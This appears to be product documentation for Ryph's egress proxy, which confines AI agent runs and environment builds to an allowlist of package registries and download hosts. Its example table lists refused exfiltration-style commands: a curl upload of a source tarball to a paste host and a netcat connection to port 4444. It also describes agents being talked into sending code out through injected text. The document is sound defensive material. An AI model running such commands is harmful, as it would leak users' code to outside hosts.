An agent reads a lot of text it didn’t choose: issues, comments, web pages, the READMEs of the packages it installs. Any of it can try to talk the agent into sending your code somewhere. Egress confinement gives that nowhere to go. A run has no route to the internet. Its one way out is Ryph’s egress proxy, which lets it reach the hosts on your allowlist, such as the npm registry and PyPI, and refuses every other host.
Environment builds sit behind the same proxy. A build runs code from your repository, and an agent can change that code, so builds get the same boundary as runs.
Egress proxy
- Run npm ci registry.npmjs.org Allowed, npm
- Run curl -F f=@src.tar paste.example.net Refused
- Run nc 203.0.113.9 4444 203.0.113.9 No route out
- Build RUN rustup toolchain install static.rust-lang.org Allowed, rustup
- Build setup.yml: fetch fixtures fixtures.acme-cdn.com Refused
Out of the box, the allowlist covers the common package registries and toolchain downloads, so installs and builds work with no setup.
How a run reaches the internet
- The run’s network has no way out. On Docker, each run sits on an internal network with no route to the internet, your local network or the host. On Kubernetes, network policies hold each run to the cluster’s DNS, the Ryph services it needs and the egress proxy.
- The proxy is the one way out. Ryph points the run’s proxy settings at it, so package managers,
curland git over HTTPS go through it as they would through a company proxy. - The run carries its allowlist. When a run starts, Ryph signs its list of hosts into a token, and the proxy checks every connection against it. A change to the allowlist applies to runs that start after it.
- The proxy checks host names. It sees the host each connection asks for, on ports 80 and 443, and lets the connection through or refuses it. It doesn’t decrypt anything, so it allows or refuses whole hosts.
- An allowed name can’t lead back inside. The proxy refuses a host that resolves to a private, loopback or link-local address, cloud metadata services included. A public name pointed at your network gets nowhere.
What’s on the allowlist
The allowlist is made of bundles. Each names a registry or a download site, and covers all the hosts it uses, including the CDNs its downloads redirect to. All of them are on by default:
| Bundle | Covers |
|---|---|
| npm | The npm registry, and Yarn’s |
| Deno & JSR | JSR, deno.land and Deno’s releases |
| PyPI | The Python package index and its files |
| crates.io | Rust’s registry and crate downloads |
| Debian & Ubuntu | apt-get: the archives, security updates and Launchpad PPAs |
| Go modules | Go’s module proxy and checksum database |
| GitHub releases | Release assets and source tarballs, from github.com |
| rustup | Rust toolchains, for a pinned version the image doesn’t have |
| Node.js releases | Node.js downloads, as nvm, fnm, volta and corepack fetch them |
| mise | mise’s version index, and the GitHub releases and Helm downloads its tools come from |
| Playwright browsers | The browsers playwright install downloads |
On top of the bundles, an administrator can add hosts by name, such as api.acme.dev, or *.acme-cdn.com for every name under a domain. A wildcard leaves out the domain itself, which needs its own entry.
Who decides what a run can reach
An administrator sets the allowlist for the deployment. Open Platform and go to Internet access. Switch bundles on or off, and add hosts under Additional hosts. Until someone saves this page, the allowlist comes from RYPH_EGRESS_BUNDLES and RYPH_EGRESS_HOSTS, and with neither set, it’s every bundle.
An agent can be held to less. Open Agents, pick the agent, click Edit and go to Permissions. Under Internet access, turn on Narrow this agent’s reach, and switch on only what the agent needs. It applies to the whole run, the setup.yml steps at its start included. An agent can only be narrowed within the deployment’s allowlist, and changing it in either direction takes an administrator. With everything switched off, the agent’s runs reach no host at all, and installs fail.
A repository has no say. Nothing in .ryph/, or anywhere else in a repository, changes what a run can reach. The repository is the part an agent can edit, so it gets no way to ask for more.
When a host is refused
The program that asked gets an error from the proxy. Package managers often report that only as a failed connection, so Ryph records every refusal where people look:
- On the run. Each refused host shows in the run’s events. If the run fails, its outcome names the host and the bundle that would allow it, or says that no bundle covers it.
- On the build, even when it succeeded. A download that fails inside a build step often doesn’t fail the build, and the image ends up without whatever the download was for. So the repository’s Environment section says The internet allowlist refused this build, with the host, however the build ended.
To let a host through, an administrator switches on its bundle, or adds the host under Internet access. The next run or build can reach it.
How builds are confined
An environment build runs your repository’s code: the RUN steps in .ryph/Dockerfile and every step in .ryph/setup.yml. An agent can change both. When it ships a patch that touches .ryph/, Ryph builds the patch’s branch to show whether the image works. With an open internet in the build, an agent held in by its runs could write a download or an upload into setup.yml and have the build do it. So builds are confined like runs:
- The same proxy. A build gets a signed allowlist like a run’s, and reaches the internet only through the egress proxy. BuildKit’s own downloads, like the image a
.ryph/DockerfilestartsFROM, go through it as well. - The deployment’s allowlist. One image serves every agent that works on the repository, so a build gets the deployment’s whole allowlist, and an agent’s narrowing doesn’t apply to it. A narrowed agent’s patch is built with more access than the agent’s runs have. Set the repository to Wait for approval, and a patch is built only after someone approves it.
- No credentials inside. Ryph clones the repository before the build starts, and the build steps get the checkout without the git credential. The proxy token is all a build step is handed.
- Refusals are reported on the repository’s Environment section, as above, and an agent waiting on its patch’s build hears which hosts were refused.
On Docker
Each build gets its own BuildKit, in a container on an internal network made for that build, with the run gate as the only other thing on it. Both are removed when the build ends. The RUN steps share that network, so they can’t reach the internet, your local network or the host. Their one way out is the egress proxy, behind the run gate.
Builds stay off the network runs use. A build step runs as root, with more capabilities than a run gets, so it’s kept apart from runs too.
Build steps can’t look up names themselves. Ryph gives them the proxy by its address, and the proxy resolves host names, so a tool that ignores the standard proxy settings can’t connect from a build.
The BuildKit container itself runs privileged, so an escape from a build is root on the Docker host. Connect only repositories whose .ryph/ you’d run as root on that machine, or turn environments off.
If runs use a sandboxing runtime through RYPH_DOCKER_RUNTIME, such as gVisor, builds don’t get it. The ryph binary then builds only the default branch, which holds code someone merged, and skips agents’ branches. On Docker Compose, set RYPH_ENV_TRUST_DEFAULT_BRANCH=on on the launcher for the same behaviour. Without it, Ryph won’t start with environments on.
On Kubernetes
Builds run as Jobs in their own namespace, where network policies let a build reach the cluster’s DNS, Ryph’s forge and the egress proxy, and nothing more. They run rootless BuildKit, without a Kubernetes token. With runs.runtimeClassName: gvisor in the Helm values, each build gets its own kernel, as each run does.
Rootless BuildKit on Kubernetes runs build steps without their own process sandbox, so a step can reach the cloud identity the build pushes its image with. Builds of agents’ branches use a separate identity, which can push only branch images, so a branch build can’t touch the image the default branch builds.
What else is held to the allowlist
- Checks. A check suite runs your repository’s commands, and is confined like a run: it reaches Ryph’s forge and the egress proxy.
- The agent’s browser. Browser use loads every page through the run’s egress proxy, so the browser reaches what the run may.
- Previews. A preview carries a content security policy built from the run’s allowlist, which holds the page’s requests to the same hosts.
Some of what an agent does reaches the outside through Ryph’s own services, each with its own controls. Model calls go through Ryph’s model proxy, forge requests through Ryph’s forge and MCP tools through the tool proxy. Two are worth knowing about:
- Web search and fetch run in Ryph’s web service, so the allowlist doesn’t limit them. Fetch reads public HTTPS pages only. Remove the tools in an agent’s tool policy, or turn them off for the deployment with
RYPH_WEB_TOOLS=off. - Hosted MCP servers reach the public internet, with private addresses refused.
On your deployment
| Deployment | Runs | Builds |
|---|---|---|
| On your machine, confined | An internal network, with the proxy as the only way out | Their own BuildKit on an internal network, as described above |
| On your machine, allowlisted | Proxy settings, with a direct route for anything that ignores them | The same as runs |
| On your machine, direct | The open internet, with no allowlist | The same as runs |
| Docker Compose | Confined | Confined |
| Networked Compose | Confined | Confined |
| Kubernetes | Confined by network policies, which the cluster has to enforce | Confined by the builds namespace’s network policies |
On your machine, ryph setup asks how runs reach the internet, and offers confined wherever Docker supports it: Docker Desktop, or Docker Engine 28 or later on Linux. Podman isn’t supported. On Kubernetes, check that your cluster’s network plugin enforces network policies. Without that, the policies do nothing, and a run can go around the proxy.
RYPH_EGRESS=open turns the allowlist off on any deployment.
In allowlisted mode, package managers and setup steps follow the proxy settings, but the run keeps a direct route to the internet. Code an agent runs can ignore the settings and connect anywhere. Use it to try Ryph out, and choose confined for real work.
What to keep in mind
- An allowed host is open both ways. The proxy allows a host for anything sent to it. npm and crates.io take a publish from whoever holds a token, and GitHub releases and mise open
github.com, which takes agit pushover HTTPS. Switch off bundles your repositories don’t need. - The allowlist is per host. The proxy doesn’t see paths, so allowing
github.comallows all of it. - A run’s allowlist is fixed when it starts. Its token stays valid for up to 24 hours, which
RYPH_EGRESS_TOKEN_TTL_MSchanges, and ending the run doesn’t cancel it. Switching a bundle off protects the runs that start afterward.
How the proxy checks tokens and addresses is in Egress and isolation.